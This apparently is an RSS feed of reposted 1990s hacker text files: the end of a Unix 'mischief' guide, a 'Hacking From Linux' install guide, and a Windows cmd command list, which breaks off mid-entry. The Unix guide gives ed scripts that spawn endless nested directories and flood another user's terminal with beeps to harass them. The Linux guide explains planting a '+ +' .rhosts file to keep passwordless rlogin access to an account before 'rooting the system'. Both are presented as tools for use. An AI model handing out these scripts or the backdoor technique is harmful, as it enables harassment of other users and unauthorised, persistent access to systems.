now for the next lesson...&lt;br&gt;&lt;br&gt;&lt;br&gt;III - Mischief&lt;br&gt;&lt;br&gt; This section will describe a couple of ways of perpetrating mischief on a&lt;br&gt;unix system. These ideas are for the most part harmless, but can definitely&lt;br&gt;piss people off. The idea of a continuous subdir was molded from one&lt;br&gt;presented by Shooting Shark.&lt;br&gt;&lt;br&gt; Idea #1&lt;br&gt; This method will create an endless amount of directories under a &lt;br&gt;the current directory. Create multiple files with different name and &lt;br&gt;directories to really annoy the &amp;#39;sop. Type the following to accomplish this.&lt;br&gt;&lt;br&gt;$[ed sub1]&lt;br&gt;0&lt;br&gt;*[a]&lt;br&gt;[mkdir -FuCkU!1]&lt;br&gt;[chdir -FuCkU!1]&lt;br&gt;[/xxx/xxx/sub1 &amp;amp;]&lt;br&gt;[^C]&lt;br&gt;*[w]&lt;br&gt;69&lt;br&gt;*[q]&lt;br&gt;$[chmod +r+w+x sub1]&lt;br&gt;$[nohup sub1 &amp;amp;]&lt;br&gt;7099&lt;br&gt;$&lt;br&gt;&lt;br&gt; This program will create a directory called &amp;#39;-FuCkU!1&amp;#39;, change to that&lt;br&gt;directory, then create another one under the first one, and so forth. It&lt;br&gt;is an endless loop, and will continue virtually forever. The third line&lt;br&gt;of the program contains a string &amp;#39;/xxx/xxx/sub1 &amp;amp;&amp;#39;. You will need to fill&lt;br&gt;in the x&amp;#39;s with your current directory. To find out your current directory &lt;br&gt;type &amp;#39;pwd&amp;#39; this will print a string telling which directory you are in.&lt;br&gt;Fill in the x&amp;#39;s with this data. The rest of the program you should be able&lt;br&gt;to figure out by now. Try it, you&amp;#39;ll like it.&lt;br&gt;&lt;br&gt; &lt;br&gt; Idea #2&lt;br&gt; So, you&amp;#39;ve seen someone on the system that you really don&amp;#39;t like? Or do&lt;br&gt;you just want to piss someone off? This methods for you. This method will&lt;br&gt;describe a way to send out data to another user, or terminal. Here is what&lt;br&gt;you will want to type to create a file to anger the other user.&lt;br&gt;&lt;br&gt;$[ed beep]&lt;br&gt;0&lt;br&gt;*[a]&lt;br&gt;[echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G &amp;gt;&amp;gt; /dev/xxxx]&lt;br&gt;[nohup beep &amp;amp;]&lt;br&gt;[^C]&lt;br&gt;*[w]&lt;br&gt;25&lt;br&gt;*[q]&lt;br&gt;$[chmod +r+w+x beep]&lt;br&gt;$[nohup beep &amp;amp;]&lt;br&gt;8002&lt;br&gt;$&lt;br&gt;&lt;br&gt; Fill in the &amp;#39;/dev/xxxx&amp;#39; with the terminal you want to annoy. To find out&lt;br&gt;the terminal of the person you want to fuck over, type &amp;#39;who&amp;#39; it will print &lt;br&gt;out something like this....&lt;br&gt;&lt;br&gt;$[who]&lt;br&gt;guest ttyd0 Nov 30 19:06&lt;br&gt;root console Nov 30 19:20&lt;br&gt;Bendover ttyd5 Nov 30 18:45&lt;br&gt;&lt;br&gt;$&lt;br&gt;&lt;br&gt; The first column is the name of the user, the second column tells us &lt;br&gt;what terminal they are logged on as, and the third states at what time &lt;br&gt;they logged on. The second column is what we need right now. Fill in the&lt;br&gt;x&amp;#39;s with the terminal that you wish. If you wanted to bother the root, you&lt;br&gt;would type &amp;#39;/dev/console&amp;#39;, to bother guest type &amp;#39;/dev/ttyd0&amp;#39;. To bother&lt;br&gt;more than one terminal, just add another line after the first &amp;#39;echo&amp;#39; &lt;br&gt;statement with a different terminal identifier. With the &amp;#39;nohup&amp;#39; command,&lt;br&gt;the computer will send a continuous outpouring of beeps until he logs off&lt;br&gt;or reboots the system. Try it on the terminal you are logged on under to&lt;br&gt;see exactly what it does.&lt;br&gt;&lt;br&gt;&lt;br&gt;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&amp;Auml;&lt;br&gt;&lt;br&gt;IV - Conclusion&lt;br&gt;&lt;br&gt; These projects should be enough to get you started on your road to Unix&lt;br&gt;Hell. With a little experience you will be able to think of new ideas that&lt;br&gt;will alloy you access to the systems hidden features and assets. I will&lt;br&gt;release other files on Unix in the near future, possibly one on basic Unix&lt;br&gt;hacking, FTP, UUCP netting, or any number of other Unix related concepts.&lt;br&gt;If you are interested in learning more on Unix, you can contact me on the &lt;br&gt;systems at the top of the file. Thus concludes one dark Kryptic Night...&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;V - Bibliography and Suggested Reading&lt;br&gt;&lt;br&gt;Unix Use and Security From the Ground Up: by the Prophet in 1986&lt;br&gt; This is probably the BEST file I&amp;#39;ve ever seen on the subject&lt;br&gt; of Unix. It is written for the beginner, and contains valuable&lt;br&gt; information for the advanced user. The Prophet became a member &lt;br&gt; of Lod/H and is currently serving a sentence of 20 months in&lt;br&gt; relation to the big Lod/H bust of &amp;#39;90.&lt;br&gt; &lt;br&gt;Articles on unix trojans and mischief: by Shooting Shark&lt;br&gt; Shooting Shark presents some interesting information&lt;br&gt; on various ways to commit havoc on Unix systems.&lt;br&gt; You can find most of his essays in both Phrack and Lod&lt;br&gt; magazines.&lt;br&gt;&lt;br&gt;Lod/H Tech Journals&lt;br&gt; The Legion of Doom/Hackers are perhaps the most skilled&lt;br&gt; and knowledgable hackers in the underground society.&lt;br&gt; Their &amp;#39;Tech Journals&amp;#39; describe almost anything you&amp;#39;d ever&lt;br&gt; want to know about illegal activities. &lt;br&gt;&lt;br&gt;Phrack Magazines&lt;br&gt; Phrack is also one of the best sources for information on&lt;br&gt; a multitude of subjects, ranging from social engineering, &lt;br&gt; to carding, to making explosives. For those with free time,&lt;br&gt; download all of the 32 articles released to date.&lt;br&gt; &lt;br&gt;&lt;br&gt;Creating Users on Unix&lt;br&gt; This was my second text file release. It tells how to&lt;br&gt; create new users on a Unix system using the root account.&lt;br&gt; It is told for beginner and advanced hacker alike.&lt;br&gt;&lt;br&gt;VI - Greets&lt;br&gt;&lt;br&gt;Heh, Data Kult, when you gettin&amp;#39; Kelsea&amp;#39;s phone number?&lt;br&gt;Bounty Hunter, cool new software, hope you can work out the bugs.&lt;br&gt;Lord Logics, ega STILL? Come on! Get with it!&lt;br&gt;Scooter, chill with the 800&amp;#39;s&lt;br&gt;Oolon, get Entropy back up!&lt;br&gt;Digital Derelict, Jerusalem is nothing.... you&amp;#39;re going down... soon&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt; &lt;br&gt; | &lt;br&gt; | \ &lt;br&gt; | /\/\ / &amp;sup3;\ &amp;Auml;&amp;Acirc;&amp;Auml; &lt;br&gt; | / \ / &amp;sup3; \ A &amp;sup3; A &lt;br&gt; | / |/| / / \ &amp;sup3; / &amp;sup3; / &lt;br&gt; |/ | &amp;lt; \ &amp;sup3;/ &amp;sup3;/ U L T &lt;br&gt; |\ RYPTIC / | \ \ / &amp;sup3;\ &lt;br&gt; | \ / | \ &amp;sup3; \ &lt;br&gt; |\ | | \ &lt;br&gt; | \ | &lt;br&gt; | \|IGHT &lt;br&gt; / ` &lt;br&gt; &lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;- Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter -&lt;br&gt; Nacht Habicht&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Hacking From Linux</title><link>http://blacklibrary.wetpaint.com/page/Hacking+From+Linux</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Hacking+From+Linux</guid><pubDate>Wed, 18 Feb 2009 23:33:16 CST</pubDate><description> Installing &amp;amp; Hacking From Linux...&lt;br&gt;&lt;br&gt;&lt;br&gt;All you people that thought you were good hackers, because you could fool &lt;br&gt;dumb sysadmins, and do a bit of social engineering, or hack something by &lt;br&gt;following someones carefully prepared text file. Well you&amp;#39;re about to get &lt;br&gt;fucked if you read this text file you will find out that you are a hacker &lt;br&gt;but, the only thing you can do is use someone elses ideas. So with that in &lt;br&gt;mind here goes.&lt;br&gt; I wrote this text file because i know a lot of people who could &lt;br&gt;benefit from learning to use linux, especially when hacking.&lt;br&gt; First of all you need to get linux installed on your system so goto &lt;br&gt;http://www.redhat.com I would suggest you invest $40 in buying the newest &lt;br&gt;version of RedHat linux this way you will get all the files you want/need &lt;br&gt;on one cd. If you have a problem with paying that price, then contact me &lt;br&gt;and i will ship you a copy for half that price, yes only $20! If you are &lt;br&gt;really cheap (like me :-) you could try and download it, i have gotten it &lt;br&gt;to work before but it&amp;#39;s really not worth the wait, i spent a total download &lt;br&gt;time of about 3 days to download all the files i wanted, and if one of the &lt;br&gt;files dosn&amp;#39;t work, well you&amp;#39;re pretty much fucked. Whatever you decide to &lt;br&gt;do, weather it&amp;#39;s purchasing a copy from me or from redhat.com, or being &lt;br&gt;cheap :-) and downloading it, you should read the linux documentation &lt;br&gt;project especially the installation part, it will save you hours of worry. &lt;br&gt;I will touch down very briefly on what you have to do to install linux, but &lt;br&gt;not nearly enough for you to understand the installation. Many people will &lt;br&gt;tell you not to buy RedHat products because they&amp;#39;re full of bugs, this is &lt;br&gt;true, and I couldn&amp;#39;t agree more, but the bugs are present if you&amp;#39;re trying &lt;br&gt;to hack teh box, so in this case just get RedHat Linux, since it&amp;#39;s by far &lt;br&gt;the most user friendly and the easiest to install. On the other hand if you &lt;br&gt;are intending to run a sophisticated webserver do NOT get redhat, get &lt;br&gt;something like slackware, or debian linux.&lt;br&gt; If you are planning to use linux to access the net etc... you will &lt;br&gt;need to read the FAQ on compatability at http://www.redhat.com, i currently &lt;br&gt;don&amp;#39;t know of any distribution of linux that supports winmodem or any other &lt;br&gt;type of modem that uses windows software to speed it up, these modems are &lt;br&gt;generally those yukky U.S robotics modems. &lt;br&gt; From now on I&amp;#39;m assuming you either purchased RedHat linux from me &lt;br&gt;or from RedHat. O.K lets get started, you will need to partition your &lt;br&gt;harddrive, to do this goto dos and type in fdisk choose no. 4 to view current &lt;br&gt;partitions. If you have one large partition that fills your whole harddrive &lt;br&gt;just reserved for windows then once again you&amp;#39;re fucked. You need to back up &lt;br&gt;all your shit, before performing the steps below. Once everything is backed &lt;br&gt;up go to dos yet again and type 8in fdisk, now you need to delete your &lt;br&gt;current partition and set a new primary partition the primary partition &lt;br&gt;should not fill your whole harddrive, leave as much space as you want &lt;br&gt;unpartitioned, this unpartitioned space is what you&amp;#39;re going to be putting &lt;br&gt;linux on. So now thats done restore your old windows shit and make sure &lt;br&gt;everything is working nice and dandy. Now pop in your redhat cd in your &lt;br&gt;cd-rom drive, and reboot your system. Follow the instructions until you &lt;br&gt;get to a screen that asks if you wish to use fdisk or disk druid to partition &lt;br&gt;your harddrive, just choose disk druid, now you need to set up a native linux &lt;br&gt;partition i recommdn 500 megs, but if you wanna be fancy put about 800 megs. &lt;br&gt;Now after you have assighned a native linux partition and labeled it / Then &lt;br&gt;you need to assighn swap space, assighn as much as you see fit mine is about &lt;br&gt;55 megs. It is also a good idea to label your dos partition i label mine &lt;br&gt;/dos this is so i can access files in my dos partition while using linux. &lt;br&gt;Once that is done click on OK and save the partition tables, when you get to &lt;br&gt;the place where you choose what to install. If you have a partition thats &lt;br&gt;more than 600 MB then choose the install everything option at the bottom of &lt;br&gt;the list, if your partition is below 600 MB, then choose everything on the &lt;br&gt;list except the install everything option. If by some chance you just want &lt;br&gt;a very basic setup, this is what i used to run, just choose x-windows, DNS &lt;br&gt;Nameserver, Dial-UP workstation,c++ development, and c development. This &lt;br&gt;will give you everything youneed to compile programs in ,linux, connect to &lt;br&gt;your ISP, run x-windows etc....&lt;br&gt; X-Windows is a graphical interface for linux it&amp;#39;s very very nice &lt;br&gt;it&amp;#39;s kinda like windows 95 but it dosn&amp;#39;t suck as much, by the way I will be &lt;br&gt;refeering to windows 95 as winblows, for obvious reasons :-).&lt;br&gt; Once everything is installed, it will tr to sonfigure x-windows for &lt;br&gt;you, this is where it actually helps if you know every little chip in your &lt;br&gt;system, if you don&amp;#39;t well tehn just guess, but whatever you do don&amp;#39;t install &lt;br&gt;Metro-X, just install XFree86 x-server it&amp;#39;s better, well after all that shit &lt;br&gt;you will need to install LILO, LILO is a boot manager it allows you to boot &lt;br&gt;into dos, linux and whatever other O/S&amp;#39;s you may have lying around in yuor &lt;br&gt;system, once all that is set up, you will be asked if you wish to install a &lt;br&gt;printer or not, figure that part out yourself, it&amp;#39;s pretty straight forward, &lt;br&gt;so I&amp;#39;m not gonna waste my time. I wouldn&amp;#39;t recommend configuring a LAN &lt;br&gt;unless you know your shit about linux.&lt;br&gt; So once setup is finished , your system will reboot. WOA you just &lt;br&gt;installed linux and you&amp;#39;re still alive it&amp;#39;s amazing isn&amp;#39;t it. So now you &lt;br&gt;should be faced with a prompt that says LILO Boot:&lt;br&gt;you can now press tab for options this will show which operating systems you &lt;br&gt;can boot into. You should ahve the following two choices dos and linux, now &lt;br&gt;since this text file covers linux you would want to boot into linux so at &lt;br&gt;the LILO prompt type in linux or simply press return, since linux is your &lt;br&gt;default operating system. Now you should see a bunch of services starting, &lt;br&gt;this indicates that linux is loading. &lt;br&gt; When you reach the login prompt type in root and use the password &lt;br&gt;you specefied for the setup program earlier. Finally you have redhat linux &lt;br&gt;installed on your system, and hopefully you&amp;#39;re still alive, you&amp;#39;re still &lt;br&gt;with me RIGHT!!!!! O.K so you have logged in as root, first thing you want &lt;br&gt;to do us shadow your password file I always do thsi because then at least i &lt;br&gt;know a little clueless newbie could never get in my system, to do this type &lt;br&gt;in pwconv. Well thats all you have to do, to me it&amp;#39;s a shock that there are &lt;br&gt;so many unshadowed systems on the net when it&amp;#39;s so easy to shadow the &lt;br&gt;password file, but i guess ignorance is the satan of all god&amp;#39;s people. Well &lt;br&gt;i guess you&amp;#39;re like dying to show your friends how k-rad and elite you are, &lt;br&gt;so I guess well better geton to setting up linux to use the net, in other &lt;br&gt;words to dial out to your ISP. O.K heres how you do it. When you&amp;#39;re at the &lt;br&gt;prompt type in startx this will start up x-windows. Once x-windows is &lt;br&gt;started, you should see an interface much like windows 95, to the left &lt;br&gt;should be a box named control panel, in the center you should see a window &lt;br&gt;named local-host, this is simply the rootshell just like the one you get &lt;br&gt;when you login. Now to get the modem set up, in the control panel there &lt;br&gt;should be a lot of small icons, goto the 6th one down (modem configuration) &lt;br&gt;choose what com port your modem is on, if you dont know choose SOM 1 it &lt;br&gt;seems to be the default in most computers in gateways i do believe it&amp;#39;s &lt;br&gt;COM 2, once thats done, goto the 5th icon down in the control panel &lt;br&gt;(network configuration)and click it, now choose interfaces then goto add, &lt;br&gt;choose ppp as your interface type. Put in your ISP&amp;#39;s phone number, and &lt;br&gt;your login and password. Then choose customize, click on networking and &lt;br&gt;click on activate interface at boot time, once this is done goto done and &lt;br&gt;choose to save the configuration. Well thats it simply reboot by typing in &lt;br&gt;reboot and listen to your sweet modem&amp;#39;s music.&lt;br&gt; Now that you&amp;#39;re connected to your ISP let&amp;#39;s go do some surfing, once &lt;br&gt;you&amp;#39;re in x-windows, goto start/applications and click on Netscape Navigator. &lt;br&gt;Visit http://www.rootshell.com and run a search for scan, once you&amp;#39;re &lt;br&gt;confronted with the search results, go down and find the file named &lt;br&gt;xenolith.tgz download that file. This is a neat little scanner that scans &lt;br&gt;sites for volunerabilities, and I&amp;#39;m basiacly gonna give you a lesson in &lt;br&gt;uncompressing files in linux. Once the file is downloaded goto the dir in &lt;br&gt;which it resides. Since it&amp;#39;s a .tgz file we would uncompress it using the &lt;br&gt;following method. Type in gunzip -d xenolith.tgz this will give you &lt;br&gt;xenolith.tar then type in gzip xenolith.tgz this gives you xenolith.tar.gz &lt;br&gt;then type in zcat xenolith.tar.gz | tar xvf - . This will give you a dir &lt;br&gt;called xenolith just cd xenolith and read the README files for installation &lt;br&gt;instructions. I just thought i would include something on uncompressing &lt;br&gt;files because many people ask me for help on the topic. &lt;br&gt; Well I&amp;#39;m getting to the place where I have to think about what i &lt;br&gt;want to put in this text file, well here&amp;#39;s something I will include, a &lt;br&gt;section with some useful command, so here goes. To shutdown your computer &lt;br&gt;type in shutdown -h now (your message) to reboot simply type reboot. To &lt;br&gt;compile use gcc filename.c -o filename. To talk to a user type in write &lt;br&gt;username then on the next line write your message, if you don&amp;#39;t want people &lt;br&gt;to send you messages type in mesg n. Well i sure hop this guide helped you &lt;br&gt;through getting linux installed if you want to read books on linux and &lt;br&gt;you&amp;#39;re cheap like me goto http://www.mcp.com and sighn up for their personal &lt;br&gt;bookshelf, and get reading tons of books for free, it&amp;#39;s a hackers dream and &lt;br&gt;all time paradise.&lt;br&gt; Now just as you thought it was over I&amp;#39;m gonna show you a few hacking &lt;br&gt;tricks from linux not really how to hack just some useful commands, so here &lt;br&gt;goes. To telnet to a site type in telnet www.victim.com ,to telnet toa &lt;br&gt;site on a specific port type in telnet www.victim.com portnumbe. Let&amp;#39;s say &lt;br&gt;i wanted to telnet to port 25 i would type in telnet www.victim.com 25 . &lt;br&gt;To FTP to a machine type in ftp www.victim.com. To rlogin to a machine, &lt;br&gt;many of you proably dont know what the hell im talking about so let me &lt;br&gt;explain. If you place a file called .rhosts in someones home directory and &lt;br&gt;that file has two plusses like this + + in it you can use the rlogin command &lt;br&gt;to log into the system using that account without a password. Ring a bell &lt;br&gt;in your mind? filling with fresh ideas. I use this method whenever I geta &lt;br&gt;shell account, it assures me that if they by any chance change the passowrd &lt;br&gt;I can always rlogin into the system assuming that the account has a .rhosts &lt;br&gt;file in it and the file contains + + then you&amp;#39;re in good shape. Assume the &lt;br&gt;username of the account is lamer. So inorder to rlogin into lamer&amp;#39;s account&lt;br&gt;we would do the follwoing. Type in rlogin www.victim.com -l lamer . This &lt;br&gt;will telnet us directly into lamer&amp;#39;s account where we can start rooting the &lt;br&gt;system.  &lt;br&gt; Well my hand hurts from typing too much, so I&amp;#39;m gonna stop typing, &lt;br&gt;please if you have any questions, suggestions, or comments, e-mail them to &lt;br&gt;ameister@vol.com. Also i nee some suggestions on what to write text files &lt;br&gt;about so please e-mail me, it would be greatly appreciated. Me and some &lt;br&gt;friends are going to be making a magazine with lots of text files and other &lt;br&gt;interesting hacking material, if you would like a copy e-mail me for more &lt;br&gt;info, the price should be no mroe than $4 Shipping &amp;amp; Handling included.&lt;br&gt;&lt;br&gt;&lt;br&gt;DISCLAIMER:&lt;br&gt;&lt;br&gt;This shit is for educational purposes only, I&amp;#39;m not responisble for any &lt;br&gt;trouble you get in using this info.&lt;br&gt;&lt;br&gt;VISIT MY WEBPAGE FOR MY OTHER TEXT FILEZ AND USEFUL UTILITIES ETC... &lt;br&gt;&lt;br&gt;&lt;br&gt; HACKERSWEB IS BACK&lt;br&gt;&lt;br&gt;&lt;br&gt; http://www.vol.com/~ameister &lt;br&gt;&lt;hr size=&quot;1&quot;&gt;&lt;br/&gt;</description></item><item><title>Using Cmd</title><link>http://blacklibrary.wetpaint.com/page/Using+Cmd</link><author>Canakar</author><guid isPermaLink="false">http://blacklibrary.wetpaint.com/page/Using+Cmd</guid><pubDate>Wed, 18 Feb 2009 23:32:48 CST</pubDate><description>Cmd Commands guide written by Canakar&lt;br&gt;&lt;br&gt;What is Command Prompt?&lt;br&gt;_____________________________&lt;br&gt;------------------------&lt;br&gt;&lt;br&gt;The Command Prompt program allows you to work in an environment that looks more like a traditional operating system as opposed to the icon based Windows environment. In Command Prompt, you will use your keyboard. You won&amp;#39;t use your mouse at all. Command Prompt works at a lower level than Windows. This means that you will have more control over the machine. The disadvantage is that it is less user-friendly.&lt;br&gt;&lt;br&gt;You will need the command prompt in COS 126 to compile and execute your Java programs. Learning the Command Prompt also provides a gradual transition to Unix and Linux systems, which are prevalent in science, engineering, and industry.&lt;br&gt;&lt;br&gt;To launch Command Prompt select Start -&amp;gt; Run and type cmd in the box.&lt;br&gt;&lt;br&gt;The Command Prompt shows up as a black terminal window. The command prompt should look something like:&lt;br&gt;&lt;br&gt; C:\&amp;gt;&lt;br&gt;&lt;br&gt;This is where you type commands. The boldface type below (that follows the command prompt) is what you should type as you work through this tutorial. Windows does not care if you use upper or lower case. That means that command cd is the same as CD. It also means that, in Windows, file HelloWorld.java is the same as helloworld.java. This is NOT true in the system to which you will be submitting your files. Be very careful!!! &lt;br&gt;&lt;br&gt;&lt;br&gt;MS-Dos Commands.&lt;br&gt;_____________________________________________&lt;br&gt;ADDUSERS Add or list users to/from a CSV file&lt;br&gt;ARP Address Resolution Protocol&lt;br&gt;ASSOC Change file extension associations&lt;br&gt;ASSOCIAT One step file association&lt;br&gt;AT Schedule a command to run at a later time&lt;br&gt;ATTRIB Change file attributes&lt;br&gt;_____________________________________________&lt;br&gt;BOOTCFG Edit Windows boot settings&lt;br&gt;BROWSTAT Get domain, browser and PDC info&lt;br&gt;_____________________________________________&lt;br&gt;CACLS Change file permissions&lt;br&gt;CALL Call one batch program from another&lt;br&gt;CD Change Directory - move to a specific Folder&lt;br&gt;CHANGE Change Terminal Server Session properties&lt;br&gt;CHKDSK Check Disk - check and repair disk problems&lt;br&gt;CHKNTFS Check the NTFS file system&lt;br&gt;CHOICE Accept keyboard input to a batch file&lt;br&gt;CIPHER Encrypt or Decrypt files/folders&lt;br&gt;CleanMgr Automated cleanup of Temp files, recycle bin&lt;br&gt;CLEARMEM Clear memory leaks&lt;br&gt;CLIP Copy STDIN to the Windows clipboard.&lt;br&gt;CLS Clear the screen&lt;br&gt;CLUSTER Windows Clustering&lt;br&gt;CMD Start a new CMD shell&lt;br&gt;COLOR Change colors of the CMD window&lt;br&gt;COMP Compare the contents of two files or sets of files&lt;br&gt;COMPACT Compress files or folders on an NTFS partition&lt;br&gt;COMPRESS Compress individual files on an NTFS partition&lt;br&gt;CON2PRT Connect or disconnect a Printer&lt;br&gt;CONVERT Convert a FAT drive to NTFS.&lt;br&gt;COPY Copy one or more files to another location&lt;br&gt;CSVDE Import or Export Active Directory data&lt;br&gt;_____________________________________________&lt;br&gt;DATE Display or set the date&lt;br&gt;Dcomcnfg DCOM Configuration Utility&lt;br&gt;DEFRAG Defragment hard drive&lt;br&gt;DEL Delete one or more files&lt;br&gt;DELPROF Delete NT user profiles&lt;br&gt;DELTREE Delete a folder and all subfolders&lt;br&gt;DevCon Device Manager Command Line Utility&lt;br&gt;DIR Display a list of files and folders&lt;br&gt;DIRUSE Display disk usage&lt;br&gt;DISKCOMP Compare the contents of two floppy disks&lt;br&gt;DISKCOPY Copy the contents of one floppy disk to another&lt;br&gt;DNSSTAT DNS Statistics&lt;br&gt;DOSKEY Edit command line, recall commands, and create macros&lt;br&gt;DSADD Add user (computer, group..) to active directory&lt;br&gt;DSQUERY List items in active directory&lt;br&gt;DSMOD Modify user (computer, group..) in active directory&lt;br&gt;________________________________________________&lt;br&gt;ECHO Display message on screen&lt;br&gt;ENDLOCAL End localisation of environment changes in a batch file&lt;br&gt;ERASE Delete one or more files&lt;br&gt;EXIT Quit the CMD shell&lt;br&gt;EXPAND Uncompress files&lt;br&gt;EXTRACT Uncompress CAB files&lt;br&gt;__________________________________________&lt;br&gt;FC Compare two files&lt;br&gt;FDISK Disk Format and partition&lt;br&gt;FIND Search for a text string in a file&lt;br&gt;FINDSTR Search for strings in files&lt;br&gt;FOR Conditionally perform a command several times&lt;br&gt;FORFILES Batch process multiple files&lt;br&gt;FORMAT Format a disk&lt;br&gt;FREEDISK Check free disk space (in bytes)&lt;br&gt;FSUTIL File and Volume utilities&lt;br&gt;FTP File Transfer Protocol&lt;br&gt;FTYPE Display or modify file types used in file extension associations&lt;br&gt;______________________________________________&lt;br&gt;GLOBAL Display membership of global groups&lt;br&gt;GOTO Direct a batch program to jump to a labelled line&lt;br&gt;______________________________________________&lt;br&gt;HELP Online Help&lt;br&gt;HFNETCHK Network Security Hotfix Checker&lt;br&gt;______________________________________________&lt;br&gt;IF Conditionally perform a command&lt;br&gt;IFMEMBER Is the current user in an NT Workgroup&lt;br&gt;IPCONFIG Configure IP&lt;br&gt;______________________________________________&lt;br&gt;KILL Remove a program from memory&lt;br&gt;______________________________________________&lt;br&gt;LABEL Edit a disk label&lt;br&gt;LOCAL Display membership of local groups&lt;br&gt;LOGEVENT Write text to the NT event viewer.&lt;br&gt;LOGOFF Log a user off&lt;br&gt;LOGTIME Log the date and time in a file&lt;br&gt;______________________________________________&lt;br&gt;MAPISEND Send email from the command line&lt;br&gt;MEM Display memory usage&lt;br&gt;MD Create new folders&lt;br&gt;MODE Configure a system device&lt;br&gt;MORE Display output, one screen at a time&lt;br&gt;MOUNTVOL Manage a volume mount point&lt;br&gt;MOVE Move files from one folder to another&lt;br&gt;MOVEUSER Move a user from one domain to another&lt;br&gt;MSG Send a message&lt;br&gt;MSIEXEC Microsoft Windows Installer&lt;br&gt;MSINFO Windows NT diagnostics&lt;br&gt;MSTSC Terminal Server Connection (Remote Desktop Protocol)&lt;br&gt;MUNGE Find and Replace text within file(s)&lt;br&gt;MV Copy in-use files&lt;br&gt;________________________________________________&lt;br&gt;NET Manage network resources&lt;br&gt;NETDOM Domain Manager&lt;br&gt;NETSH Configure network protocols&lt;br&gt;NETSVC Command-line Service Controller&lt;br&gt;NBTSTAT Display networking statistics (NetBIOS over TCP/IP)&lt;br&gt;NETSTAT Display networking statistics (TCP/IP)&lt;br&gt;NOW Display the current Date and Time&lt;br&gt;NSLOOKUP Name server lookup&lt;br&gt;NTBACKUP Backup folders to tape&lt;br&gt;NTRIGHTS Edit user account rights&lt;br&gt;________________________________________________&lt;br&gt;PATH Display or set a search path for executable files&lt;br&gt;PATHPING Trace route plus network latency and packet loss&lt;br&gt;PAUSE Suspend processing of a batch file and display a message&lt;br&gt;PERMS Show permissions for a user&lt;br&gt;PERFMON Performance Monitor&lt;br&gt;PING Test a network connection&lt;br&gt;POPD Restore the previous value of the current directory saved by PUSHD&lt;br&gt;PORTQRY Display the status of ports and services&lt;br&gt;PRINT Print a text file&lt;br&gt;PRNCNFG Display, configure or rename a printer&lt;br&gt;PRNMNGR Add, delete, list printers set the default printer&lt;br&gt;PROMPT Change the command prompt&lt;br&gt;PsExec Execute process remotely&lt;br&gt;PsFile Show files opened remotely&lt;br&gt;PsGetSid Display the SID of a computer or a user&lt;br&gt;PsInfo List information about a system&lt;br&gt;PsKill Kill processes by name or process ID&lt;br&gt;PsList List detailed information about processes&lt;br&gt;PsLoggedOn Who&amp;#39;s logged on (locally or via resource sharing)&lt;br&gt;PsLogList Event log records&lt;br&gt;PsPasswd Change account password&lt;br&gt;PsService View and control services&lt;br&gt;PsShutdown Shutdown or reboot a computer&lt;br&gt;PsSuspend Suspend processes&lt;br&gt;PUSHD Save and then change the current directory&lt;br&gt;_______________________________________________&lt;br&gt;QGREP Search file(s) for lines that match a given pattern.&lt;br&gt;_______________________________________________&lt;br&gt;RASDIAL Manage RAS connections&lt;br&gt;RASPHONE Manage RAS connections&lt;br&gt;RECOVER Recover a damaged file from a defective disk.&lt;br&gt;REG Read, Set or Delete registry keys and values&lt;br&gt;REGEDIT Import or export registry settings&lt;br&gt;REGSVR32 Register or unregister a DLL&lt;br&gt;REGINI Change Registry Permissions&lt;br&gt;REM Record comments (remarks) in a batch file&lt;br&gt;REN Rename a file or files.&lt;br&gt;REPLACE Replace or update one file with another&lt;br&gt;RD Delete folder(s)&lt;br&gt;RDISK Create a Recovery Disk&lt;br&gt;RMTSHARE Share a folder or a printer&lt;br&gt;ROBOCOPY Robust File and Folder Copy&lt;br&gt;ROUTE Manipulate network routing tables&lt;br&gt;RUNAS Execute a program under a different user account&lt;br&gt;RUNDLL32 Run a DLL command (add/remove print connections)&lt;br&gt;__________________________________________________ _&lt;br&gt;SC Service Control&lt;br&gt;SCHTASKS Create or Edit Scheduled Tasks&lt;br&gt;SCLIST Display NT Services&lt;br&gt;ScriptIt Control GUI applications&lt;br&gt;SET Display, set, or remove environment variables&lt;br&gt;SETLOCAL Begin localisation of environment changes in a batch file&lt;br&gt;SETX Set environment variables permanently&lt;br&gt;SHARE List or edit a file share or print share&lt;br&gt;SHIFT Shift the position of replaceable parameters in a batch file&lt;br&gt;SHORTCUT Create a windows shortcut (.LNK file)&lt;br&gt;SHOWGRPS List the NT Workgroups a user has joined&lt;br&gt;SHOWMBRS List the Users who are members of a Workgroup&lt;br&gt;SHUTDOWN Shutdown the computer&lt;br&gt;SLEEP Wait for x seconds&lt;br&gt;SOON Schedule a command to run in the near future&lt;br&gt;SORT Sort input&lt;br&gt;START Start a separate window to run a specified program or command&lt;br&gt;SU Switch User&lt;br&gt;SUBINACL Edit file and folder Permissions, Ownership and Domain&lt;br&gt;SUBST Associate a path with a drive letter&lt;br&gt;SYSTEMINFO List system configuration&lt;br&gt;____________________________________________&lt;br&gt;TASKLIST List running applications and services&lt;br&gt;TIME Display or set the system time&lt;br&gt;TIMEOUT Delay 